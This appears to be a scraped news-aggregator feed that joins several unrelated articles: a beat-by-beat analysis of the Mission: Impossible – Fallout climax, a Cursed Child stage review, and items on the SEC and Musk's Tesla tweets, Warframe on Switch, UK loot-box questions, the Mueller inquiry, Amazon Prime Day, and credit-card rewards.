YES: Ilsa incapacitates Solomon and cuts Benji down from his rope.

NO: Walker’s helicopter rolls down the mountain towards Ethan’s, knocking it off the cliff.

YES: The helicopters get caught between two rock faces. Ethan makes a move towards Walker.

NO: The helicopters fall to another cliff, with one left hanging from a cable; Ethan and Walker get thrown onto a ledge.

YES: The detonator is now out in the open.

NO: 4:30 on the clock. Luther tells Julia there’s nothing left to be done.

YES: Luther talks Benji and Ilsa through disarming the bomb.

NO: Solomon taunts them.

YES: Ethan comes to on the mountain ledge and engages Walker in fisticuffs.

NO: The detonator is knocked closer to the cliff edge.

NO: Walker gets Ethan in a chokehold.

YES: Ethan flips them both over the ledge.

NO: Walker grabs and hangs from Ethan’s leg, hanging precariously.

YES: Ethan makes a move for the detonator.

NO: His movement dislodges the cable, dropping several feet.

YES: Ethan kicks Walker down the cable and begins climbing the rock face.

NO: Walker pursues.

YES: Ethan yanks on the cable, which smacks into Walker, sending him plummeting to his death.

NO: The camera pulls out to show how far Ethan has to go.

YES: 50 seconds left. Benji and Ilsa continue to disarm the bomb, following Luther’s instructions.

NO: Ethan hasn’t got the detonator yet.

YES: Benji and Ilsa and Luther are all ready to cut their respective detonator wires. Ethan climbs.

NO: Benji questions whether Ethan has, or will have, gotten the detonator key in time.

YES: Luther assures Benji “he’ll get it done.” Ethan climbs.

NO: 15 seconds left. Benji and Luther argue over whether to cut the wires at 2 seconds or 1 second.

YES: 1 second left. They both cut the wires.

YES: Ethan hangs from the ledge, detonator in hand, and spits out the key. Hooray!

YES: The bombs jettison their plutonium cores. “My man.” Hooray!

YES: A helicopter arrives to rescue Ethan, who’s lying exhausted on the ledge. Hooray!

***

So you see: the action is a seesaw of success and failure; of overcoming obstacles, making mistakes and improvising. This is obviously a granular analysis, but you could apply the same lens to the movie as a whole and it’d look similar.

fallout

Putting it All Together

Juggling the various components of a complex, multithreaded sequence like this is a daunting task. It only takes one poor choice to break the tension when it should be constantly ramping upwards. Luckily, there’s none of that here.

It all begins, of course, in the writing. This sequence isn’t just action for action’s sake – there’s a clear purpose to everything the characters do, and each thread pays off a hanging character relationship, whether adversarial or friendly. McQuarrie constantly escalates tension by narrowing the gap between life and death – focusing the action inwards as it goes along.

Incredibly, one way this is accomplished is by compressing and concentrating the action over time. Ethan begins by swinging from a helicopter, then transitions into flying it, then into a perilous clifftop crash, then a two-man fistfight, then ultimately a test of himself alone in that final climb to get the detonator. Similarly, Ilsa and Benji start off searching the whole medical camp, before it all comes down to defeating one man and cutting a pair of wires. Starting big and getting small enables the sequence to deliver its large-scale action, but become more relatable and personal in its final nailbiting moments.

The edit, too, is impeccable, aided by a script clearly written with editing in mind. A difficulty in putting a sequence like this together is maintaining connections between each thread, while letting them play out individually. Cutting without breaking action, momentum, or tone is both an art and a science, and McQuarrie and editor Eddie Hamilton use a variety of techniques to keep things moving.

The most obvious linking device is the literal ticking clock of the bombs’ countdown timer. Close-ups and dialogue callouts of the remaining time are frequently employed not just to reinforce the urgency of the situation, but to transition between locations and characters – after all, it’s the one element present throughout each thread. Cliffhangers make the audience constantly want to see what happens next. Curiously, though, the most common connecting device is simple dialogue: whenever a character is mentioned, the scene cuts to that character. Luther, in constant contact with the team via radio, acts as a sort of narrative switchboard: many transitions between Ethan/Walker and Ilsa/Benji go through an intermediary step of Luther checking in on them both.

Mission: Impossible – Fallout‘s final sequence could only have worked with every department working perfectly in tandem. The directing, the script, the performances, the stunt work, the cinematography, and especially the editing are honed to perfection, doing exactly what they need to do. It’s a terrific capper to a terrific film, demonstrating the talent of everyone involved. The whole thing is as finely-tuned as clockwork. Or, if you’ll forgive me, the detonation mechanism on a nuclear bomb.

The post Examining, Beat by Beat, Why the Climax of ‘Mission: Impossible – Fallout’ Works So Well appeared first on /Film.

]]> https://briefnews.eu/examining-beat-by-beat-why-the-climax-of-mission-impossible-fallout-works-so-well/feed/ 0 U.S. SEC examining Musk's tweets on taking Tesla private https://briefnews.eu/u-s-sec-examining-musks-tweets-on-taking-tesla-private/ https://briefnews.eu/u-s-sec-examining-musks-tweets-on-taking-tesla-private/#respond Thu, 09 Aug 2018 09:44:15 +0000 http://briefnews.eu/u-s-sec-examining-musks-tweets-on-taking-tesla-private/ [unable to retrieve full-text content]

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U.S. regulators are asking Tesla Inc why Chief Executive Elon Musk announced his plan to take the electric carmaker private on Twitter and whether his statement was truthful, the Wall Street Journal reported on Wednesday.

Musk announced his plan on his personal Twitter account on Tuesday, and the U.S. Securities and Exchange Commission has asked Tesla about the facts of the matter, why it was disclosed on Twitter rather than in a regulatory filing and whether it believed investor-protection rul

Continue reading U.S. SEC examining Musk’s tweets on taking Tesla private

U.S. SEC examining Musk’s tweets on taking Tesla private originally appeared on Autoblog on Wed, 08 Aug 2018 18:02:00 EDT. Please see our terms for use of feeds.

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]]> https://briefnews.eu/u-s-sec-examining-musks-tweets-on-taking-tesla-private/feed/ 0 A Journey Through Time: Examining ‘Harry Potter and the Cursed Child’ on Broadway https://briefnews.eu/a-journey-through-time-examining-harry-potter-and-the-cursed-child-on-broadway/ https://briefnews.eu/a-journey-through-time-examining-harry-potter-and-the-cursed-child-on-broadway/#respond Thu, 31 May 2018 18:16:20 +0000 http://briefnews.eu/a-journey-through-time-examining-harry-potter-and-the-cursed-child-on-broadway/ harry potter and the cursed child analysis

Broadway’s two-part Harry Potter and the Cursed Child production is a fascinating beast. It brings with it most of its West End cast, acting as direct sequel to the books yet trading on the iconography of the film series, all while making its own unique mark on Harry Potter canon. Picking up from the originals’ “Seventeen Years Later” epilogue, it follows a new generation of characters – best friends Albus Potter and Scorpius Malfoy, sons of bitter rivals Harry and Draco – across four years of their schooling in a matter of minutes, before diving back into time itself.

Time is central to The Cursed Child, both as a fictional construct as well as a force of nostalgia. The play’s relationship to an audience that grew up with these characters is paramount. However, the only “Easter eggs” it trades in are those that, through their exploration, lead to a more complex, more complete understanding of the characters as they enter their middle age. Each adult character – Ron, Hermione, Ginny, but especially Harry and Draco – carries the weight of their past adventures, both the guilt and the glory, in ways that impact their children.

The Story So Far

What is The Cursed Child about, exactly? Well, per the barely contextualized spoilers published in 2016 (spoilers from here on out, of course), it’s about Albus and Scorpius time-travelling to events familiar to the audience, amidst a plot involving Voldemort’s supposed secret child. Which sounds suitably fan fiction-esque, as many detractors would go on to note based on the spoilers alone. Though the play’s status as “fan fiction” – an aesthetic term more than a literal one, owing to J.K. Rowling’s involvement – isn’t far off the mark. Albus and Scorpius do act as self-insert characters, in a sense, but this works to the play’s advantage. They’re geeky, angsty outcasts exploring the stories of their childhood, events that unfolded during original characters’ lives and defined their own in the process. Two lonely kids trying to live up to their predecessors by entering their decades-old narratives and influencing them from the margins, hoping for a different outcome.

That’s what The Cursed Child is “about,” most certainly, but what it’s about, at its core, is the effect of time on people and relationships.

The two-part play is a powerful father-son story in its written form. The focus of its words – its published manuscript is certainly wordy – is the complicated dynamic between Harry and his younger son Albus, a child he inadvertently overshadows with his fame. Harry, “The Boy Who Lived,” is now the boy who defeated Voldemort twice. A brave Gryffindor whose oldest child, the boisterous James, follows easily in his footsteps. Albus however, the quieter son with no affinity for sport, finds himself sorted into Slytherin, a House formerly marked by ambition but now defined (both in-world and by many a fan) by its relationship to evil. Fellow Slytherin Scorpius finds himself similarly overshadowed, albeit for different reasons. His father Draco once aligned himself with Voldemort, a decision that keeps both father and son on the social margins, but rumor has it Scorpius may be the secret heir of Voldemort himself. Whatever the case, Scorpius’ peers make him pay for the sins of each of his fathers, both real and presumed. He grows up entirely isolated – but for Albus’ friendship, that is.

Witchcraft and Stagecraft

The relationships between these sons and fathers is strained to say the least, but the lens through which they’re explored is set up before the play even begins. Upon entering New York’s Lyric Theater, one is greeted by a stage that expands deeper than usual – the production reportedly removed 400 seats from the auditorium – a space illuminated by a solitary source. From the rear end of the arched façade, a clock-face beams down on the stage like a spotlight, as if bringing with it sunlight, and promise, from the other side of a window. Flanking this clock are rows of pillars on either side. They move inward to reveal branches whenever the setting shifts to the Forbidden Forest, the location from where most of the characters travel through time. These pillars too are adorned by clocks at their apex with each row forming an arch in turn, connecting the clock faces on stage left to those on stage right, as if drawing a line from cause to effect.

The design is lavish. Its execution, precise. While a handful of scenes oscillate between rushed and stretched, every movement, every interlude and every detail has purpose. Many of the conversations take place between characters atop a pair of stairs, not unlike the moving staircases of Hogwarts castle, as fans may recall. Each flight is wheeled in and rotated, musically, until the characters come face to face, like a second and minute hand meeting momentarily.

The play is rife with sleight of hand, the kind of magical stage production that’ an utter delight even for those who disliked the published story. The opening at King’s Cross station sees the Potters and Granger-Weasleys charge through the famous magical platform (Nine and Three Quarters), switching from civilian casuals to magical robes within a momentary flash. Actors often transform and transfigure into one another by inhabiting the same cloak, twisting and contorting in partial darkness, often hilariously and to much applause. Numerous wand duels feature hidden stage-hands making objects float, a marvel to behold, but the one trick that seems to garner the most awestruck response is when time runs in reverse.

The Passage of Time

The characters use a pocket-sized Time Turner – first seen in Harry Potter and the Prisoner of Azkaban – to travel into the past. Whenever the characters visit these events (seen in previous books and films), the stage darkens but for their silhouettes and the outlines of the clock-faced arches. The clocks run backwards, scored by recent dialogue fresh in the audience’s memory until suddenly, a wave-like effect envelops the backdrop, seemingly moving wood and metal like wind caressing a curtain.

It’s disorienting at first, in an awe-inspiring way. It’s the kind of trick you don’t normally see with the naked eye, but the second or perhaps third time it occurs, the cause of the ripple becomes clearer. Light hits the furthest point of the stage before moving (concentrically, turning the stage into a clock-face of its own) toward the front, along the meticulously crafted backdrop that now reveals its hidden purpose. The result is an impossible, enveloping ripple. Something we ought not to see, as if the fabric of space and time have been infringed upon. It happens five, maybe six times in total, but it never loses its charm.

While the play features no songs, it beats with the distinct vibrancy of a musical. Scene transitions, whether traversing hundreds of miles or perhaps years in the very same spot, feature energetic, choreographed ensembles drawing one into the setting. A semester of lessons on how to conjure spells is turned into dance of light, with kids being led by their illuminated wands. Students populate the background of every scene at the school – that is, until the conversations in focus become private – and the Hogwarts express is a seated row of excited teens being rotated, again, like a clock. The stage never moves, but for the mechanical tricks and contraptions at its center, but we constantly move within it as time ticks on.

These constant flourishes are reminders of the story’s foundation, one rooted in the passage of time. While the seven books (and eight movies) that defined the last decade are an important prerequisite, newcomers are filled in on just enough of the backstory through Harry’s returning dreams. Moments from his past, enveloped in fog, articulated the origins of Harry Potter. The lies about his parents’ deaths. The looming threat of Lord Voldemort. And of course, the exciting promise of magic.

Continue Reading Harry Potter and the Cursed Child >>

The post A Journey Through Time: Examining ‘Harry Potter and the Cursed Child’ on Broadway appeared first on /Film.

]]> https://briefnews.eu/a-journey-through-time-examining-harry-potter-and-the-cursed-child-on-broadway/feed/ 0 Warframe on Nintendo Switch: Digital Extremes “examining possibilities” of games console https://briefnews.eu/warframe-on-nintendo-switch-digital-extremes-examining-possibilities-of-games-console/ https://briefnews.eu/warframe-on-nintendo-switch-digital-extremes-examining-possibilities-of-games-console/#respond Fri, 30 Mar 2018 06:59:08 +0000 http://briefnews.eu/warframe-on-nintendo-switch-digital-extremes-examining-possibilities-of-games-console/

Warframe has built a loyal following based around its addictive gameplay and free-to-play model.

It can be downloaded on PS4, Xbox One and PC, with a lot of new content being planned for 2018.

Sheldon Carter, COO at developers Digital Extremes, recently spoke to Express.co.uk on the game’s enduring popularity in such a saturated market.

And when asked what the key was to keeping their players happy, Carter revealed that Warframe has done well by listening to fans and revamping the game where needed.

“There are games that share similar features, but I think there is room for a great many games to co-exist,” Carter explains.

“I think that our constant schedule of updating, our semi regular revisits of old systems, and our emphasis on bringing new fresh gameplay to Warframe has something to do with it.

“Our community is filled with amazing people and I think the relationship we have with them and they have with each other is a huge factor.”

When it comes to big content coming to the game, Digital Extremes have already confirmed that a new Open-World area is being worked on for Venus.

“For us, future planning means a few things. We are always on the lookout for re-freshing the idea of Warframe, and it’s been the case that we re-fuel our creative engines in the early part of the year (Q1),” Carter adds.

“And, we are always – and I mean every single day – listening to and talking to our community.

“We juggle a lot of content, too. And so sometimes a project, we’ll call it Project A, comes together beautifully.

“And it becomes ready much faster than another project, say, Project G, which falls behind in the schedule as a result.

“We re-juggle the order of update content depending on what is coming together best.

“I guess you could say that we are always planning and assessing, and then re-prioritizing, depending on which piece of content reaches its fruition first and best. In short, we’re fluid. Very fluid.”

So what about an expansion away from in-game content and onto a new platform?

The Nintendo Switch games list has seen a lot of new ports confirmed for it, although none really fit the slot Warframe fills in the market.

So is it possible that we could see the popular free-to-play game arrive in the coming years?

According to the COO, Digital Extremes are only looking at possibilities right now, with no plans for a Warframe Switch port at the moment.

When asked if a platform like the Nintendo Switch interests the Warframe team, Carter commented: “Oh, man, personally I love my Switch!

“I have collected so many Korok Seeds in Zelda, it’s a little embarrassing. In the studio, we are playing all sorts of games on it.

“Recently Steve was playing and loving Doom. That’s a great conversion. But as for putting Warframe on Switch, that’s a tougher question.

“Like all new systems, we’re looking at and examining possibilities, but we have no current plans to put anything on the Switch.”

So while Digital Extremes aren’t completely ruling out a port, it appears that the Nintendo Switch will be out of reach for the time being.

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]]> https://briefnews.eu/warframe-on-nintendo-switch-digital-extremes-examining-possibilities-of-games-console/feed/ 0 The British Parliament is examining the loot-box model in video games https://briefnews.eu/the-british-parliament-is-examining-the-loot-box-model-in-video-games/ https://briefnews.eu/the-british-parliament-is-examining-the-loot-box-model-in-video-games/#respond Sat, 14 Oct 2017 02:20:07 +0000 http://briefnews.eu/the-british-parliament-is-examining-the-loot-box-model-in-video-games/

Loot boxes in video games like Forza Motorsport 7 and Middle-earth: Shadow of War are raising a debate about business models in the gaming community, and some people are now trying to get their governments to do something about it. That has led Daniel Zeichner, a member of the British Parliament from Cambridge, to pose two questions asking what Secretary of State for digital, culture, media, and sport Karen Bradley will do to protect people from loot boxes.

Both of Zeichner’s questions are online, and they come as the result of a conversation with concerned gamers. The first question asks what steps Bradley plans to take to “help protect vulnerable adults and children from illegal gambling, in-game gambling, and loot boxes within computer games.” The second question asks what the British government has determined about special rules on the Isle of Man that determine in-game items as having real-world value.

GamesBeat has reached out to Zeichner for comment on this, and I’ll update this post with any statement from the MP.

In a post on Reddit, user Artfunkel says that they met with Zeichner, who is their MP, to encourage the politician to bring up these questions.

“These are a result of a very positive meeting I had with Daniel a few weeks ago,” Artfunkel said. “The goal here is to see the United Kingdom’s existing gambling regulations applied to loot boxes.”

The U.K. would have to define loot boxes as gambling first before it could apply any existing laws. And that process would depend greatly on what kind of gambling the government considers loot boxes. For example, the government doesn’t treat slot machines and those grocery store gachapon toy dispensers the same way.

But any response like that is still a long ways off. It likely takes about a month for Bradley to respond to a written question. Even when she does, she doesn’t have to commit to anything. But it’s clear that the noise around loot boxes is starting to fuel some curiosity from people in positions of power, and that could lead to new regulations the video game industry.

The PC Gaming channel is presented by Intel®‘s Game Dev program.

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]]> https://briefnews.eu/the-british-parliament-is-examining-the-loot-box-model-in-video-games/feed/ 0 Mueller’s team is reportedly examining Trump’s role in drafting Trump Jr.’s statement on the Russia meeting https://briefnews.eu/muellers-team-is-reportedly-examining-trumps-role-in-drafting-trump-jr-s-statement-on-the-russia-meeting/ https://briefnews.eu/muellers-team-is-reportedly-examining-trumps-role-in-drafting-trump-jr-s-statement-on-the-russia-meeting/#respond Tue, 29 Aug 2017 07:09:15 +0000 http://briefnews.eu/muellers-team-is-reportedly-examining-trumps-role-in-drafting-trump-jr-s-statement-on-the-russia-meeting/ Donald Trump Donald Trump Jr.REUTERS/Lucas Jackson

The team led by special counsel Robert Mueller is looking into Trump’s role in drafting the statement his son, Donald Trump Jr., gave in response to news that he met with a Kremlin-connected lawyer last June during the presidential campaign, NBC News reported on Monday.

Mueller is spearheading the FBI’s counterintelligence investigation into whether the Trump campaign colluded with Moscow to tilt the 2016 election in Trump’s favor.

News of Trump Jr.’s meeting with the lawyer, Natalia Veselnitskaya, first emerged on July 8.

Trump Jr.’s statement, published that month after The New York Times first reported that the meeting took place, said that he and Veselnitskaya “primarily discussed a program about the adoption of Russian children” and that the subject of conversation was “not a campaign issue at the time.”

But that characterization evolved over the next few days, with Trump Jr. ultimately publishing his email correspondences with the British music publicist who organized the meeting. The email chain confirmed reports that Trump Jr. had agreed to the meeting after he was told Veselnitskaya was offering damaging information about then candidate Hillary Clinton. The meeting, Trump Jr. was told, was being arranged “as part of Russia and its government’s support for Mr. Trump,” to which Trump Jr. replied, “I love it.”

President Trump’s son-in-law, Jared Kushner, and Trump’s campaign chairman at the time, Paul Manafort, also attended the meeting. It eventually emerged that the meeting also included Rinat Akhmetshin, a former Soviet military intelligence officer; Anatoli Samachornov, a Russian translator; Rob Goldstone, the British music publicist who arranged the meeting at the request of Aras Agalarov, a wealthy Russian developer, and his son Emin; and Ike Kaveladze, a senior vice president at Crocus Group, Aras Agalarov’s real-estate company.

Trump’s lawyers initially said he was not involved and did not know about the meeting. A few weeks later, however, The Washington Post reported that Trump had “dictated” Trump Jr.’s initial misleading statement about it.

When news of the meeting broke, a group of Trump’s advisers reportedly agreed that the White House should release a truthful statement that could not be repudiated if more details surfaced later.

But Trump overruled the advisers and “personally dictated” the statement that was eventually published, according to The Post. The statement was then crafted aboard Air Force One as Trump returned from the G-20 summit in Hamburg, Germany.

NBC News reported on Monday that in light of those revelations, prosecutors on Mueller’s team are “keenly focused” on finding out what Trump knew about the meeting and whether he acted to conceal its purpose.

A source familiar with Mueller’s thinking told NBC News that investigators are looking into whether Trump made a “knowingly false statement” when he crafted his son’s response to the Times’ story about his meeting with Veselnitskaya last June.

Renato Mariotti, a former assistant US attorney and longtime federal prosecutor, noted that one possibility behind the special counsel’s scrutiny is that legally, “helping to conceal a conspiracy is an act in furtherance of a conspiracy.”

The president’s advisers have acknowledged his vulnerability. “This was…unnecessary,” one aide told The Post, referring to Trump’s direct involvement in drafting Trump Jr.’s statement. “Now someone can claim he’s the one who attempted to mislead. Somebody can argue the president is saying he doesn’t want you to say the whole truth.”

But “even if Trump is not charged with a crime as a result of the statement, it could be useful to Mueller’s team to show Trump’s conduct to a jury that may be considering other charges,” a source told NBC News.

NOW WATCH: We went inside the Charlottesville winery Trump bragged about during the press conference

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]]> https://briefnews.eu/muellers-team-is-reportedly-examining-trumps-role-in-drafting-trump-jr-s-statement-on-the-russia-meeting/feed/ 0 Examining AI’s role in Amazon’s Prime Day https://briefnews.eu/examining-ais-role-in-amazons-prime-day/ https://briefnews.eu/examining-ais-role-in-amazons-prime-day/#respond Mon, 10 Jul 2017 19:28:03 +0000 http://briefnews.eu/examining-ais-role-in-amazons-prime-day/

GUEST:

With Amazon’s third Prime Day kicking off tomorrow, Prime consumers can look forward to another day of Black Friday-esque deals. Last year, Prime Day 2016 was Amazon’s biggest sales day ever, surpassing Black Friday, Cyber Monday, and Prime Day 2015. In fact, Prime Day 2016 produced 60 percent more orders worldwide and 50 percent more orders in the U.S. compared to Prime Day 2015. Prime Day 2016 sold more than than two million toys, one million pairs of shoes, approximately 90,000 TVs, and hundreds of thousands of Kindles.

This year has also been a big year for Amazon on the consumer AI front, coming out of a strong 2016 holiday season for the Echo combined with the very recent release of the Echo Look and the beta release of the Echo Show. Surely all eyes will be on how much Amazon sells on this year’s Prime Day compared to those of the previous two years, but three other key results to watch from Prime Day 2017 are vital to Amazon’s AI ambitions.

The Echo Show

Last year’s Prime Day was the biggest sales day ever for the Echo, with sales up 2.5x compared to the day prior. Prime Day 2016 built momentum for Echo sales going into the 2016 holiday season; it was a harbinger for what was to come a few months later.

Above: Credit: InfoScout and VoiceLabs.co

Amazon officially released the Echo Show to the public on June 28. Retailing at $ 229.99, the Echo Show is Amazon’s most expensive home assistant yet compared to the $ 179.99 Echo and the $ 49.99 Echo Dot. With a 7-inch touchscreen, the Echo Show provides new capabilities such as watching videos on YouTube, video calling another Echo Show, and acting as a photo album display. However, there are mixed reviews about the Echo Show, with some experts saying that the Echo Show isn’t revolutionary enough to warrant upgrading from the original Echo.

Prime Day will be telling for the Echo Show, which was publicly released less than two weeks before Prime Day. Because Amazon will inevitably push it with a large discount, it will not only be interesting to see how well the new and more expensive Echo Show sells but also interesting to see how many existing Echo owners upgrade to the Echo Show. A recent consumer survey shows that 87 percent of current Echo owners plan to upgrade to the Echo Show for reasons such as wanting to have the latest technology and wanting to have the 7-inch screen. On the other hand, 22 percent of people who don’t already own an Echo are interested in buying an Echo Show.

The Echo Show’s sales performance on Prime Day will help Amazon get a sense of how the newly released member of the Echo family will do during this year’s holiday season with both existing and new Echo customers. The results could shape how Amazon approaches the months leading up to the holiday season.

Voice shopping

Last year, Amazon unveiled several Echo-exclusive deals and gave $ 10 off on orders over $ 20 placed through voice, but the result was a mere 80,000 voice orders that day. This year, Amazon is pushing a more aggressive agenda: It will unveil over 100 Echo-exclusive deals and will give any first-time voice shopper $ 10 to try it out, as well as enter all voice shoppers into a $ 5,000 sweepstake. This is all despite the fact that voice shopping hasn’t really seemed to take off, according to a recent consumer survey. Over 50 percent of consumers aren’t interested in voice shopping due to lack of trust or inconvenience from not having a screen (on the original Echo).

However, perhaps this sentiment will change after Echo users try voice shopping for the first time this Prime Day. Pushing voice shopping is clearly important for Amazon and widely understood to be its main end goal for the Echo family. We’ll see if its aggressive tactics this year will be more successful in persuading Echo users to try it out. It would also be interesting to see how much more Echo Show users voice shop (given the addition of the new screen) compared to Echo users.

Apparel sales

Amazon recently launched the Echo Look in beta, which acts as an AI outfit stylist that takes selfies and videos, gives clothing recommendations, and rates looks using ML algorithms. Amazon also recently launched Prime Wardrobe in beta, a service that lets Prime members pick 3 to 15 items of clothing and try them on for free at home before purchasing the items (with a discount if you purchase above a certain number). Apparel has seemed to become one of Amazon’s new focuses, as apparel’s share of all digital spend for Amazon has grown for the three consecutive years, from 15.4 percent in 2013 to 17 percent in 2016. Amazon has been adding more popular apparel brands to Prime, such as Nike at the end of June, and its private fashion lines grew 26 percent in Q4 2016. By the end of 2017, Amazon is expected to surpass Macy’s to become the biggest apparel seller.

But despite this, apparel sales on Prime Day 2016 were quite flat compared to the rest of Amazon’s business. For example, with less than two hours remaining, the 12 clothing deals with the largest discounts had only sold 28 percent, and only 13 men’s and six women’s deals had been 100 percent claimed out of 1,300 clothing and fashion deals. Some chalked up the flat apparel sales to checkout problems, but the real reason may have to do with how Amazon customers shop for apparel (discount) deals differently than how they shop for other categories.

Amazon hasn’t released apparel deals for this year’s Prime Day yet, but it’s worth keeping an eye out to see how apparel sales fare this year. The Echo Look represents a sizable belief in apparel as part of Amazon’s overall consumer AI strategy and is likely predicted to be synergistic with apparel sales. The more Amazon can continue growing its apparel sales and build up a reputation for selling apparel beyond just basics, the more impactful the Echo Look will be when it’s released publicly.

So as Prime Day approaches next week, beyond potentially breaking another general sales day record, there are other key results that are important to Amazon’s consumer AI ambitions. But certainly, it will be an exciting day for both consumers and Amazon itself.

Jaja Liao works in mobile partnerships acquisitions at Google.

VentureBeat

]]> https://briefnews.eu/examining-ais-role-in-amazons-prime-day/feed/ 0 THE CREDIT CARD REWARDS EXPLAINER: Examining issuers’ battle to attract and retain customers with perks and loyalty programs https://briefnews.eu/the-credit-card-rewards-explainer-examining-issuers-battle-to-attract-and-retain-customers-with-perks-and-loyalty-programs/ https://briefnews.eu/the-credit-card-rewards-explainer-examining-issuers-battle-to-attract-and-retain-customers-with-perks-and-loyalty-programs/#respond Wed, 05 Jul 2017 01:12:15 +0000 http://briefnews.eu/the-credit-card-rewards-explainer-examining-issuers-battle-to-attract-and-retain-customers-with-perks-and-loyalty-programs/ Credit Card RewardsBII

This is a preview of a research report from BI Intelligence, Business Insider’s premium research service. To learn more about BI Intelligence, click here.

Credit card rewards have become so popular in the US that issuers capture headlines just by launching a new rewards card. And with consumers now caring more about the type of rewards being offered than any other card feature, competition to offer the most lucrative and attractive rewards has intensified dramatically. 

For consumers, the emphasis card issuers place on these cards has resulted in rewards becoming much more worthwhile and widespread, ranging from big sign-on bonuses to free travel. And with offers continuing to get better, consumers will continue seeking out the best rewards cards.

The value added from these cards is undeniable for issuers — in addition to increasing adoption of credit card products, the opportunity to earn rewards encourages cardholders to spend more money. This not only helps to drive up revenue, but also provides issuers an opportunity to mitigate any losses they may be feeling from the Durbin Amendment, which reduced how much fees issuers could charge on debt card transactions starting in 2011. 

But it’s also important to note that offering such high-valued rewards comes at a price — Chase’s Sapphire Reserve card ended up reducing the bank’s profits by $ 200 million to $ 300 million in Q4 2016, according to Bloomberg. And as costs continue to rise, issuers will have to adjust to this new landscape by leveraging technology and partnerships to keep consumers engaged without sacrificing profits.

In a new in-depth report from BI Intelligence, we walk through the new credit card rewards landscape, which now includes rising consumer demand for rewards, increased opportunity for issuers to drive up usage of their credit card products, and increasing costs. After discussing the evolution that has led to this current landscape, we analyze how issuers will have to adjust in order to continue reaping the benefits of offering rewards without sacrificing significant profits.

Here are some key takeaways from the report: 

  • Consumers put tremendous value on credit card rewards, which makes these them a major user acquisition channel for card issuers — almost 60% of consumers rank rewards as a major reason for adopting a credit card
  • By offering high-valued and attractive rewards, card issuers are able to drive up card adoption and usage — JPMorgan Chase reported a 35% increase in new card accounts in Q3 2016, after launching the Sapphire Reserve card.
  • Offering high-valued credit card rewards does come at a high cost to card issuers — the costs associated with offering credit card rewards have more than doubled since 2010 for the six largest card issuers in the US
  • However, major players in the space are already beginning to find ways to cut costs, including rolling back rewards on their most premium products and partnering with well-known brands to develop less expensive, more creative rewards offerings.  

In full, the report: 

  • Identifies the costs associated with offering rewards for issuers and how they have increased over time.
  • Details why credit card issuers continue offering high-valued rewards.
  • Analyzes how the industry has evolved since 2011
  • Explores how credit card issuers will advance in order to continue reaping the benefits of offering rewards without assuming increased costs. 

To get your copy of this invaluable guide, choose one of these options:

  1. Subscribe to an ALL-ACCESS Membership with BI Intelligence and gain immediate access to this report AND over 100 other expertly researched deep-dive reports, subscriptions to all of our daily newsletters, and much more. >> Learn More Now
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The choice is yours. But however you decide to acquire this report, you’ve given yourself a powerful advantage in your understanding of credit card rewards.

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